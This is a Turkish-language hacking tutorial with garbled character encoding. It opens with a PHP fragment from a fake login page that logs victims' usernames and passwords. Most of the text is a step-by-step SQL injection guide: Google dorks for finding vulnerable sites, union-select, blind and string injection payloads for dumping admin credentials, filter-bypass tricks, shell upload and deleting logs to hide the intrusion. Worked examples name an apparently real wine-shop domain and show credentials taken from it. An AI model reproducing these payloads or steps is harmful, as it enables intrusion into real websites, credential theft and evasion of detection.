$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
